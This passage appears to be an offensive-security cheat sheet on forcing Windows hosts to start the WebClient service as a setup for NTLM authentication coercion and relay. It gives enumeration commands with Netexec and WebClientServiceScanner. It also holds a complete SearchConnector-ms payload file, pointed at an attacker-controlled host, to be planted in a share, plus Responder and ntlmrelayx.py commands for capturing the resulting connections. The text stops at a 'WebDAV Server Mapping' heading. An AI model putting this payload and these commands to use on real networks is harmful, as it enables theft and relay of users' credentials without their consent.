PRIMARY CATEGORY → MITM & COERCED AUTHS

Enumeration

Netexec

Netexec

nxc smb <TARGET[s]> --username '<USER>' --password '<PASSWD>' --module webdav
WebClientServiceScanner

WebClientServiceScanner

Setup
git clone https://github.com/Hackndo/WebclientServiceScanner WebClientServiceScanner
cd !$ && python3 -m venv .venv
source !$/bin/activate
pip3 install .
webclientservicescanner --help
Checking WCS Status
webclientservicescanner -dc-ip <DC> '<DOMAIN>/<USER>:<PASSWD>@<TARGET[s]>' # IP or CIDR

Starting Web Client Service

SearchConnector-ms

An operator could drop a SearchConnector-ms file into an accessible share and wait for incoming connections

<?xml version="1.0" encoding="UTF-8"?>
<searchConnectorDescription xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">
    <iconReference>\\ATTACKER@80\test</iconReference>
    <description>Microsoft Outlook</description>
    <isSearchOnlyItem>false</isSearchOnlyItem>
    <includeInStartMenuScope>true</includeInStartMenuScope>
    <iconReference>\\ATTACKER@80\test</iconReference>
    <templateInfo>
        <folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType>
    </templateInfo>
    <simpleLocation>
        <url>\\ATTACKER@80\test</url>
    </simpleLocation>
</searchConnectorDescription>

When a user accesses that share, the Windows Shell Interface will try to load the resource specified on the iconReference field of the SearchConnector-ms file

Then, the operator receives a connection to his HTTP Server and the Web Client Service should be running

Note that the configured HTTP Server on the attacker side must support WebDAV method in order to trigger the WebClientService

An adversary could use Responder or NTLMRelayx.py for this task

Responder

HTTP Server must be enabled on Responder.conf file

python3 Responder.py --interface ens33
NTLMRelayx.py
ntlmrelayx.py --no-smb-server --no-wcf-server

Then, check if the Web Client Service is running on the target

nxc smb <TARGET> --username '<USER>' --password '<PASSWD>' --module webdav
WebDAV Server Mapping